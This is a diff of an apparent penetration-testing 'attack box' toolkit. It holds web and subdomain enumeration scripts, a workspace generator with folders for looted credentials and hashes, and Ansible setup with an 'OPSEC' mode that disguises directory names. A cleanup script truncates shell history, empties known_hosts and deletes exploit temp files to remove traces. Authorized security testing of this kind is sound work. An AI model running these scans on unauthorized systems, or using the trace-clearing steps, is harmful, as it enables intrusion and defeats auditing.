echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
|
||||
log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
|
||||
|
||||
# Summary
|
||||
echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Generate simple HTML report
|
||||
cat > "recon_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Reconnaissance Report - $TARGET</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Reconnaissance Report for $TARGET</h1>
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
|
||||
<p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Live Subdomains</h2>
|
||||
<pre>$(cat live_subdomains.txt)</pre>
|
||||
|
||||
<h2>Port Scan Results</h2>
|
||||
<pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
|
||||
echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
|
||||
Executable
+93
@@ -0,0 +1,93 @@
|
||||
#!/bin/bash
|
||||
# Trash Cleanup Script
|
||||
# Safely removes operational artifacts and cleans system
|
||||
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
|
||||
echo ""
|
||||
|
||||
# Get working directory
|
||||
if [ -n "$1" ]; then
|
||||
WORK_DIR="$1"
|
||||
else
|
||||
# Auto-detect working directory
|
||||
if [ -d "/root/dmealey" ]; then
|
||||
WORK_DIR="/root/dmealey"
|
||||
else
|
||||
# Find deployment-named directory
|
||||
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
||||
if [ -z "$WORK_DIR" ]; then
|
||||
WORK_DIR="/root"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
|
||||
|
||||
# Clean scan results older than 7 days
|
||||
if [ -d "$WORK_DIR/scans" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
|
||||
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean temporary loot
|
||||
if [ -d "$WORK_DIR/loot" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
|
||||
find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
|
||||
find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean logs older than 30 days
|
||||
if [ -d "$WORK_DIR/logs" ]; then
|
||||
echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
|
||||
find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clean empty directories
|
||||
echo -e "${YELLOW}[*] Removing empty directories${NC}"
|
||||
find "$WORK_DIR" -type d -empty -delete 2>/dev/null
|
||||
|
||||
# Clean system temp files
|
||||
echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
|
||||
rm -f /tmp/nmap_* 2>/dev/null
|
||||
rm -f /tmp/scan_* 2>/dev/null
|
||||
rm -f /tmp/exploit_* 2>/dev/null
|
||||
rm -f /tmp/*.tmp 2>/dev/null
|
||||
|
||||
# Rotate command history
|
||||
echo -e "${YELLOW}[*] Rotating command history${NC}"
|
||||
if [ -f ~/.bash_history ]; then
|
||||
tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
|
||||
fi
|
||||
|
||||
# Clean network artifacts
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
|
||||
# Update file permissions
|
||||
echo -e "${YELLOW}[*] Updating file permissions${NC}"
|
||||
if [ -d "$WORK_DIR" ]; then
|
||||
chmod -R 750 "$WORK_DIR" 2>/dev/null
|
||||
find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
# Compress old files
|
||||
echo -e "${YELLOW}[*] Compressing old files${NC}"
|
||||
if [ -d "$WORK_DIR/reports" ]; then
|
||||
find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
|
||||
echo -e "${BLUE}Summary:${NC}"
|
||||
echo -e "${GREEN} ✓ Old scan results cleaned${NC}"
|
||||
echo -e "${GREEN} ✓ Temporary files removed${NC}"
|
||||
echo -e "${GREEN} ✓ Logs rotated${NC}"
|
||||
echo -e "${GREEN} ✓ Permissions updated${NC}"
|
||||
echo -e "${GREEN} ✓ Network artifacts cleared${NC}"
|
||||
File diff suppressed because it is too large
Load Diff
+230
@@ -0,0 +1,230 @@
|
||||
#!/bin/bash
|
||||
# Web Application Enumeration Script for Attack Box
|
||||
# Usage: ./web_enum_automation.sh <target_url>
|
||||
|
||||
set -e
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Usage: $0 <target_url>"
|
||||
echo "Example: $0 https://example.com"
|
||||
echo " $0 http://192.168.1.100:8080"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TARGET_URL="$1"
|
||||
# Extract domain/IP for workspace naming
|
||||
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
||||
WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
|
||||
DATE=$(date +%Y%m%d_%H%M%S)
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
|
||||
|
||||
# Create workspace
|
||||
mkdir -p "$WORKSPACE"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# Create log file
|
||||
LOG_FILE="web_enum_$DATE.log"
|
||||
echo "Web enumeration started at $(date)" > "$LOG_FILE"
|
||||
|
||||
# Function to log and execute
|
||||
log_and_run() {
|
||||
echo -e "${YELLOW}[*] $1${NC}"
|
||||
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
# Basic web info gathering
|
||||
echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
|
||||
log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
|
||||
log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
|
||||
log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
|
||||
|
||||
# Technology detection
|
||||
echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
|
||||
log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
|
||||
if command -v wappalyzer &> /dev/null; then
|
||||
log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Directory and file enumeration
|
||||
echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
|
||||
|
||||
# Gobuster with common wordlist
|
||||
log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
|
||||
|
||||
# Gobuster with bigger wordlist
|
||||
if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
|
||||
log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
|
||||
fi
|
||||
|
||||
# File extension enumeration
|
||||
log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
|
||||
|
||||
# Alternative directory tools
|
||||
if command -v dirb &> /dev/null; then
|
||||
log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
|
||||
fi
|
||||
|
||||
if command -v ffuf &> /dev/null; then
|
||||
log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
|
||||
fi
|
||||
|
||||
# Subdomain enumeration (if it's a domain)
|
||||
if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
|
||||
log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
|
||||
fi
|
||||
|
||||
# Web vulnerability scanning
|
||||
echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
|
||||
log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
|
||||
|
||||
# Nuclei web templates
|
||||
if command -v nuclei &> /dev/null; then
|
||||
log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
|
||||
fi
|
||||
|
||||
# SSL/TLS testing (for HTTPS)
|
||||
if [[ $TARGET_URL == https* ]]; then
|
||||
echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
|
||||
DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
|
||||
log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
|
||||
|
||||
if command -v sslscan &> /dev/null; then
|
||||
log_and_run "SSLScan" "sslscan $DOMAIN"
|
||||
fi
|
||||
|
||||
if command -v testssl.sh &> /dev/null; then
|
||||
log_and_run "TestSSL" "testssl.sh $TARGET_URL"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Web application firewall detection
|
||||
echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
|
||||
if command -v wafw00f &> /dev/null; then
|
||||
log_and_run "WAF detection" "wafw00f $TARGET_URL"
|
||||
fi
|
||||
|
||||
# Content discovery and analysis
|
||||
echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
|
||||
|
||||
# Find interesting files and directories
|
||||
echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
echo "Interesting directories found:" >> content_analysis.txt
|
||||
grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
|
||||
fi
|
||||
|
||||
# Parameter discovery
|
||||
if command -v arjun &> /dev/null; then
|
||||
log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
|
||||
fi
|
||||
|
||||
# JavaScript analysis
|
||||
log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
|
||||
|
||||
# Generate summary report
|
||||
echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
|
||||
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||
|
||||
# Count discovered items
|
||||
DIRS_FOUND=0
|
||||
FILES_FOUND=0
|
||||
if [ -f "gobuster_common.txt" ]; then
|
||||
DIRS_FOUND=$(wc -l < gobuster_common.txt)
|
||||
fi
|
||||
if [ -f "gobuster_files.txt" ]; then
|
||||
FILES_FOUND=$(wc -l < gobuster_files.txt)
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
|
||||
echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
|
||||
|
||||
# Generate HTML report
|
||||
cat > "web_enum_report.html" << EOF
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Web Enumeration Report - $TARGET_URL</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||
h1 { color: #333; }
|
||||
h2 { color: #666; }
|
||||
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||
.finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Web Enumeration Report</h1>
|
||||
<p><strong>Target:</strong> $TARGET_URL</p>
|
||||
|
||||
<div class="stats">
|
||||
<h2>Statistics</h2>
|
||||
<p>Directories Found: $DIRS_FOUND</p>
|
||||
<p>Files Found: $FILES_FOUND</p>
|
||||
<p>Scan Date: $(date)</p>
|
||||
</div>
|
||||
|
||||
<h2>Discovered Directories</h2>
|
||||
<pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
|
||||
|
||||
<h2>Discovered Files</h2>
|
||||
<pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
|
||||
|
||||
<h2>Technology Stack</h2>
|
||||
<pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
|
||||
|
||||
<h2>Security Findings</h2>
|
||||
<pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
|
||||
</body>
|
||||
</html>
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
|
||||
|
||||
# Next steps suggestions
|
||||
cat > "next_steps.txt" << EOF
|
||||
Next Steps for $TARGET_URL:
|
||||
===========================
|
||||
|
||||
1. Manual Testing:
|
||||
- Browse discovered directories manually
|
||||
- Test for authentication bypasses
|
||||
- Look for file upload functionality
|
||||
- Check for SQL injection points
|
||||
|
||||
2. Focused Scanning:
|
||||
- Run OWASP ZAP or Burp Suite
|
||||
- Test for XSS vulnerabilities
|
||||
- Check for CSRF tokens
|
||||
- Test API endpoints if found
|
||||
|
||||
3. Exploitation:
|
||||
- Research CVEs for identified technologies
|
||||
- Test default credentials
|
||||
- Look for configuration files with sensitive data
|
||||
- Check for local file inclusion vulnerabilities
|
||||
|
||||
4. Further Enumeration:
|
||||
- Use custom wordlists for your target
|
||||
- Check for backup files (.bak, .old, .swp)
|
||||
- Look for version control directories (.git, .svn)
|
||||
- Test for subdomain takeover
|
||||
|
||||
Files to review:
|
||||
$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
|
||||
EOF
|
||||
|
||||
echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
|
||||
echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
|
||||
+233
@@ -0,0 +1,233 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Workspace Structure Generator for Attack Box
|
||||
Creates trashpanda-style penetration testing directory structure
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
|
||||
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
||||
|
||||
# Main engagement directory
|
||||
base_dir = os.path.abspath(base_name)
|
||||
|
||||
# Primary directories (based on trashpanda structure)
|
||||
main_dirs = {
|
||||
"tools": "Downloaded/compiled tools and scripts",
|
||||
"scans": "All scan results organized by type",
|
||||
"logs": "Execution logs and debug output",
|
||||
"loot": "Extracted credentials, hashes, and sensitive data",
|
||||
"payloads": "Custom payloads and exploit code",
|
||||
"targets": "Target lists and reconnaissance data",
|
||||
"screenshots": "Visual evidence and GUI captures",
|
||||
"reports": "Draft reports and documentation",
|
||||
"notes": "Manual notes and observations",
|
||||
"exploits": "Working exploits and proof-of-concepts",
|
||||
"wordlists": "Custom and downloaded wordlists",
|
||||
"pcaps": "Network captures and traffic analysis"
|
||||
}
|
||||
|
||||
# Scan subdirectories (comprehensive enumeration structure)
|
||||
scan_subdirs = {
|
||||
"nmap": "Network discovery and port scanning",
|
||||
"dns": "DNS enumeration and zone transfers",
|
||||
"snmp": "SNMP enumeration and community strings",
|
||||
"smb": "SMB/NetBIOS enumeration and shares",
|
||||
"web": "Web application scanning and enumeration",
|
||||
"ssl": "SSL/TLS certificate and cipher analysis",
|
||||
"vulns": "Vulnerability scanning and NSE scripts",
|
||||
"ldap": "LDAP enumeration and directory services",
|
||||
"ftp": "FTP enumeration and anonymous access",
|
||||
"ssh": "SSH enumeration and key analysis",
|
||||
"databases": "Database enumeration (MySQL, MSSQL, etc)",
|
||||
"custom": "Custom and manual scans",
|
||||
"reachability": "Network reachability test results"
|
||||
}
|
||||
|
||||
# Loot subdirectories (for extracted data)
|
||||
loot_subdirs = {
|
||||
"credentials": "Usernames, passwords, and authentication data",
|
||||
"hashes": "Password hashes and cracking results",
|
||||
"keys": "SSH keys, certificates, and crypto material",
|
||||
"configs": "Configuration files and sensitive data",
|
||||
"databases": "Extracted database contents",
|
||||
"files": "Interesting files and documents"
|
||||
}
|
||||
|
||||
print(f"[+] Creating penetration testing structure: {base_dir}")
|
||||
|
||||
# Create main directories
|
||||
for dir_name, description in main_dirs.items():
|
||||
dir_path = os.path.join(base_dir, dir_name)
|
||||
Path(dir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Create README files for documentation
|
||||
readme_path = os.path.join(dir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {dir_name.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
|
||||
# Create scan subdirectories
|
||||
scans_dir = os.path.join(base_dir, "scans")
|
||||
for subdir, description in scan_subdirs.items():
|
||||
subdir_path = os.path.join(scans_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()} SCANS\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create loot subdirectories
|
||||
loot_dir = os.path.join(base_dir, "loot")
|
||||
for subdir, description in loot_subdirs.items():
|
||||
subdir_path = os.path.join(loot_dir, subdir)
|
||||
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
readme_path = os.path.join(subdir_path, "README.md")
|
||||
if not os.path.exists(readme_path):
|
||||
with open(readme_path, 'w') as f:
|
||||
f.write(f"# {subdir.upper()}\n\n")
|
||||
f.write(f"{description}\n\n")
|
||||
|
||||
# Create engagement log
|
||||
engagement_log = os.path.join(base_dir, "logs", "engagement.log")
|
||||
with open(engagement_log, 'w') as f:
|
||||
f.write(f"Attack Box Engagement Log\n")
|
||||
f.write(f"=========================\n")
|
||||
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
f.write(f"Operator: {operator}\n")
|
||||
f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
|
||||
|
||||
# Create initial target file
|
||||
target_template = os.path.join(base_dir, "targets", "targets.txt")
|
||||
if not os.path.exists(target_template):
|
||||
with open(target_template, 'w') as f:
|
||||
f.write("# Target List\n")
|
||||
f.write("# Add IPs, ranges, or hostnames (one per line)\n")
|
||||
f.write("# Examples:\n")
|
||||
f.write("# 192.168.1.1\n")
|
||||
f.write("# 192.168.1.0/24\n")
|
||||
f.write("# 192.168.1.1-50\n")
|
||||
f.write("# target.domain.com\n\n")
|
||||
|
||||
# Create manual commands file
|
||||
manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
|
||||
with open(manual_commands, 'w') as f:
|
||||
f.write("# Manual Commands for Further Enumeration\n")
|
||||
f.write("# ======================================\n")
|
||||
f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
|
||||
f.write("# Example commands:\n")
|
||||
f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
|
||||
f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("# nikto -h http://<target>\n")
|
||||
f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
|
||||
|
||||
# Create notes template
|
||||
notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
|
||||
with open(notes_template, 'w') as f:
|
||||
f.write(f"# Engagement Notes\n\n")
|
||||
f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
|
||||
f.write(f"**Operator:** {operator}\n")
|
||||
f.write(f"**Engagement:** TBD\n\n")
|
||||
f.write(f"## Scope\n")
|
||||
f.write(f"- [ ] Define target scope\n")
|
||||
f.write(f"- [ ] Identify key assets\n")
|
||||
f.write(f"- [ ] Document rules of engagement\n\n")
|
||||
f.write(f"## Methodology\n")
|
||||
f.write(f"1. **Reconnaissance**\n")
|
||||
f.write(f" - Passive information gathering\n")
|
||||
f.write(f" - DNS enumeration\n")
|
||||
f.write(f" - OSINT collection\n\n")
|
||||
f.write(f"2. **Scanning & Enumeration**\n")
|
||||
f.write(f" - Network discovery\n")
|
||||
f.write(f" - Port scanning\n")
|
||||
f.write(f" - Service enumeration\n\n")
|
||||
f.write(f"3. **Vulnerability Assessment**\n")
|
||||
f.write(f" - Automated scanning\n")
|
||||
f.write(f" - Manual testing\n")
|
||||
f.write(f" - Vulnerability validation\n\n")
|
||||
f.write(f"4. **Exploitation**\n")
|
||||
f.write(f" - Proof of concept development\n")
|
||||
f.write(f" - Privilege escalation\n")
|
||||
f.write(f" - Lateral movement\n\n")
|
||||
f.write(f"## Key Findings\n")
|
||||
f.write(f"*Document critical findings here*\n\n")
|
||||
f.write(f"## Timeline\n")
|
||||
f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
|
||||
|
||||
# Create wordlist directory with common lists
|
||||
wordlist_dir = os.path.join(base_dir, "wordlists")
|
||||
common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
|
||||
with open(common_wordlists, 'w') as f:
|
||||
f.write("# Common Wordlist Locations\n")
|
||||
f.write("# =========================\n")
|
||||
f.write("# Directory enumeration:\n")
|
||||
f.write("/usr/share/wordlists/dirb/common.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
|
||||
f.write("# File enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
|
||||
f.write("# Subdomain enumeration:\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
|
||||
f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
|
||||
f.write("# Password attacks:\n")
|
||||
f.write("/usr/share/wordlists/rockyou.txt\n")
|
||||
f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
|
||||
|
||||
# Create scripts directory with useful scripts
|
||||
scripts_dir = os.path.join(base_dir, "tools", "scripts")
|
||||
Path(scripts_dir).mkdir(parents=True, exist_ok=True)
|
||||
|
||||
quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
|
||||
with open(quick_enum_script, 'w') as f:
|
||||
f.write("#!/bin/bash\n")
|
||||
f.write("# Quick enumeration script\n")
|
||||
f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
|
||||
f.write("if [ $# -eq 0 ]; then\n")
|
||||
f.write(' echo "Usage: $0 <target_ip>"\n')
|
||||
f.write(" exit 1\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("TARGET=$1\n")
|
||||
f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
|
||||
f.write("SCAN_DIR=\"../../scans\"\n\n")
|
||||
f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
|
||||
f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
|
||||
f.write("# Quick nmap scan\n")
|
||||
f.write("echo \"[+] Running quick nmap scan...\"\n")
|
||||
f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
|
||||
f.write("# Check for web services\n")
|
||||
f.write("echo \"[+] Checking for web services...\"\n")
|
||||
f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
|
||||
f.write(" echo \"[+] Web services found, running quick web enum...\"\n")
|
||||
f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
|
||||
f.write("fi\n\n")
|
||||
f.write("echo \"[+] Quick enumeration complete\"\n")
|
||||
|
||||
os.chmod(quick_enum_script, 0o755)
|
||||
|
||||
print(f"[+] Penetration testing structure created successfully")
|
||||
print(f"[*] Add targets to: {target_template}")
|
||||
print(f"[*] Engagement log: {engagement_log}")
|
||||
print(f"[*] Quick enum script: {quick_enum_script}")
|
||||
|
||||
return base_dir
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
import getpass
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
workspace_name = sys.argv[1]
|
||||
else:
|
||||
workspace_name = f"/root/dmealey"
|
||||
|
||||
operator = getpass.getuser()
|
||||
create_workspace_structure(workspace_name, operator)
|
||||
@@ -0,0 +1,701 @@
|
||||
---
|
||||
# Attack Box Configuration Tasks
|
||||
# Based on TrashPanda directory structure - creates /root/dmealey
|
||||
|
||||
- name: Set user variables for headless deployment
|
||||
ansible.builtin.set_fact:
|
||||
target_user: "root"
|
||||
user_home: "/root"
|
||||
# Use deployment ID for directory name if enhanced OPSEC is enabled
|
||||
work_dir: "{{ '/root/' + deployment_id if enhanced_opsec | default(false) else '/root/dmealey' }}"
|
||||
tool_name: "{{ 'toolkit' if enhanced_opsec | default(false) else 'trashpanda' }}"
|
||||
project_name: "{{ deployment_id if enhanced_opsec | default(false) else 'dmealey' }}"
|
||||
# Legacy compatibility
|
||||
dmealey_dir: "{{ '/root/' + deployment_id if enhanced_opsec | default(false) else '/root/dmealey' }}"
|
||||
|
||||
- name: Display attack box configuration start
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
ATTACK BOX CONFIGURATION STARTED
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Target: {{ ansible_host }}
|
||||
OPSEC Mode: {{ 'Enhanced' if enhanced_opsec | default(false) else 'Standard' }}
|
||||
Working Directory: {{ work_dir }}
|
||||
Configuration Steps:
|
||||
1. Create {{ 'secure' if enhanced_opsec | default(false) else 'TrashPanda' }} directory structure
|
||||
2. Install base packages (~100 packages)
|
||||
3. Install pipx and Python tools (~30 tools)
|
||||
4. Install Go tools (~12 tools)
|
||||
5. Clone Git repositories (~20 repositories)
|
||||
6. Configure scripts and automation
|
||||
7. Set up PATH and environment
|
||||
|
||||
This process may take 30-60 minutes depending on network speed.
|
||||
Progress will be displayed for each step.
|
||||
================================================================
|
||||
|
||||
- name: Record configuration start time
|
||||
set_fact:
|
||||
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||
|
||||
- name: Create TrashPanda directory structure
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0755'
|
||||
loop:
|
||||
# Main TrashPanda directories (exactly like trashpanda.py)
|
||||
- "{{ dmealey_dir }}"
|
||||
- "{{ dmealey_dir }}/tools"
|
||||
- "{{ dmealey_dir }}/scans"
|
||||
- "{{ dmealey_dir }}/logs"
|
||||
- "{{ dmealey_dir }}/loot"
|
||||
- "{{ dmealey_dir }}/payloads"
|
||||
- "{{ dmealey_dir }}/targets"
|
||||
- "{{ dmealey_dir }}/screenshots"
|
||||
